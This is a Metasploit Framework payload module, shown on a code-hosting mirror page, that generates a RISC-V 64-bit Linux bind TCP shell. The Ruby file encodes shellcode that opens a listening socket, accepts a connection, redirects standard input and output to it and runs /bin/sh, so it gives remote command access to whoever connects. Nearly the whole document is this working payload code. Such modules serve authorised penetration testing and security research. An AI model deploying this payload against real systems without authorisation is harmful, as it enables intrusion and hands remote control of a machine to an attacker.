Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/payloads/singles/linux/riscv64le/shell_bind_tcp.rb
28811 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
module MetasploitModule
7
CachedSize = 164
8
9
include Msf::Payload::Single
10
include Msf::Payload::Linux
11
include Msf::Sessions::CommandShellOptions
12
13
SYS_SOCKET = 198
14
SYS_BIND = 200
15
SYS_LISTEN = 201
16
SYS_ACCEPT = 202
17
SYS_DUP3 = 24
18
SYS_EXECVE = 221
19
AF_INET = 2
20
SOCK_STREAM = 1
21
IPPROTO_IP = 0
22
23
def initialize(info = {})
24
super(
25
merge_info(
26
info,
27
'Name' => 'Linux Command Shell, Bind TCP Inline',
28
'Description' => 'Listen for a connection and spawn a command shell',
29
'Author' => [
30
'modexp', # bind.s execve RISC-V 64-bit shellcode
31
'bcoles', # metasploit
32
],
33
'License' => BSD_LICENSE,
34
'Platform' => 'linux',
35
'Arch' => [ ARCH_RISCV64LE ],
36
'References' => [
37
['URL', 'https://modexp.wordpress.com/2022/05/02/shellcode-risc-v-linux/'],
38
['URL', 'https://web.archive.org/web/20230326161514/https://github.com/odzhan/shellcode/commit/d3ee25a6ebcdd21a21d0e6eccc979e45c24a9a1d'],
39
],
40
'Handler' => Msf::Handler::BindTcp,
41
'Session' => Msf::Sessions::CommandShellUnix
42
)
43
)
44
end
45
46
# Encode a RISC-V ADDI (Add Immediate) instruction
47
def encode_addi(rd, rs1, imm12)
48
opcode = 0b0010011
49
funct3 = 0b000
50
imm = imm12 & 0xfff
51
(imm << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
52
end
53
54
# Encode a RISC-V LUI (Load Upper Immediate) instruction
55
def encode_lui(rd, imm20)
56
0b0110111 | ((imm20 & 0xfffff) << 12) | (rd << 7)
57
end
58
59
# Encode a RISC-V SLLI (Shift Left Logical Immediate) instruction
60
def encode_slli(rd, rs1, shamt)
61
opcode = 0b0010011
62
funct3 = 0b001
63
funct6 = 0b000000
64
((funct6 & 0x3f) << 26) | ((shamt & 0x3f) << 20) |
65
(rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
66
end
67
68
# Encode a RISC-V OR instruction (rd = rs1 OR rs2).
69
def encode_or(rd, rs1, rs2)
70
opcode = 0b0110011
71
funct3 = 0b110
72
funct7 = 0b0000000
73
(funct7 << 25) | (rs2 << 20) | (rs1 << 15) | (funct3 << 12) | (rd << 7) | opcode
74
end
75
76
# Emit RISC-V instruction words that build an arbitrary 64-bit constant in a chosen register using SLLI+LUI+ADDI
77
# Note: modifies x6 register
78
def load_const_into_reg64(const, rd)
79
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
80
81
max_const = (1 << 64) - 1
82
83
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
84
85
# Split into 32‑bit halves
86
hi = const >> 32
87
lo = const & 0xFFFF_FFFF
88
89
# Load high half
90
[
91
*load_const_into_reg32(hi, rd),
92
*encode_slli(rd, rd, 32),
93
*load_const_into_reg32(lo, 6),
94
*encode_or(rd, rd, 6),
95
]
96
end
97
98
# Emit RISC-V instruction words that build an arbitrary 32-bit constant in a chosen register using LUI+ADDI.
99
def load_const_into_reg32(const, rd)
100
raise ArgumentError, "Constant '#{const}' is #{const.class}; not Integer" unless const.is_a?(Integer)
101
102
max_const = 0xFFFF_FFFF
103
104
raise ArgumentError, "Constant #{const} is outside range 0..#{max_const}" unless const.between?(0, max_const)
105
106
if const >= -2048 && const <= 2047
107
return [encode_addi(rd, 0, const)]
108
end
109
110
upper = (const + 0x800) >> 12
111
low = const & 0xfff
112
[
113
encode_lui(rd, upper),
114
encode_addi(rd, rd, low)
115
]
116
end
117
118
def generate(_opts = {})
119
return super unless datastore['LPORT']
120
121
lport = datastore['LPORT'].to_i
122
sockaddr_word = AF_INET | ([lport].pack('n').unpack1('v') << 16)
123
124
shellcode = [
125
# prepare stack
126
0xff010113, # addi sp,sp,-16
127
128
# s = socket(AF_INET, SOCK_STREAM, IPPROTO_IP);
129
*load_const_into_reg32(SYS_SOCKET, 17), # li a7,198 # SYS_socket
130
*load_const_into_reg32(IPPROTO_IP, 12), # li a2,0 # IPPROTO_IP
131
*load_const_into_reg32(SOCK_STREAM, 11), # li a1,1 # SOCK_STREAM
132
*load_const_into_reg32(AF_INET, 10), # li a0,2 # AF_INET
133
0x00000073, # ecall
134
135
# bind(s, &sa, sizeof(sa));
136
0x00050693, # mv a3,a0 # a3 = s
137
*load_const_into_reg32(SYS_BIND, 17), # li a7,200 # SYS_bind
138
*load_const_into_reg32(16, 12), # li a2,16 # sizeof(sockaddr_in)
139
*load_const_into_reg32(sockaddr_word, 11), # li a1,<packed> # sin_family=AF_INET, sin_port=port, sin_addr=INADDR_ANY
140
0x00b13023, # sd a1,0(sp) # store first 8 bytes (family+port+addr) at stack
141
0x00013423, # sd 0,8(sp) # sin_zero
142
0x00010593, # mv a1,sp # a1 = &sa
143
0x00000073, # ecall
144
145
# listen(s, 1);
146
*load_const_into_reg32(SYS_LISTEN, 17), # li a7,201 # SYS_listen
147
0x00100593, # li a1,1 # backlog = 1
148
0x00068513, # mv a0,a3 # a0 = s
149
0x00000073, # ecall
150
151
# r = accept(s, 0, 0);
152
*load_const_into_reg32(SYS_ACCEPT, 17), # li a7,202 # SYS_accept
153
0x00000613, # li a2,0 # addrlen = NULL
154
0x00000593, # li a1,0 # addr = NULL
155
0x00068513, # mv a0,a3 # a0 = s
156
0x00000073, # ecall
157
158
# dup stdin/stdout/stderr
159
0x00050713, # mv a4,a0
160
*load_const_into_reg32(SYS_DUP3, 17), # li a7,24 # SYS_dup3
161
*load_const_into_reg32(3, 11), # li a1,3 # start from STDERR_FILENO + 1 = 3
162
# c_dup:
163
0x00070513, # mv a0,a4
164
0xfff58593, # addi a1,a1,-1
165
0x00000073, # ecall
166
0xfe059ae3, # bnez a1,100ec <c_dup>
167
168
# execve("/bin/sh", NULL, NULL);
169
*load_const_into_reg32(SYS_EXECVE, 17), # SYS_execve
170
0x34399537, # lui a0,0x34399
171
0x7b75051b, # addiw a0,a0,1975
172
0x00c51513, # slli a0,a0,0xc
173
0x34b50513, # addi a0,a0,843
174
0x00d51513, # slli a0,a0,0xd
175
0x22f50513, # addi a0,a0,559
176
0x00a13023, # sd a0,0(sp)
177
0x00010513, # mv a0,sp
178
0x00000073 # ecall
179
].pack('V*')
180
181
# align our shellcode to 4 bytes
182
shellcode += "\x00" while shellcode.bytesize % 4 != 0
183
184
super.to_s + shellcode
185
end
186
end
187
188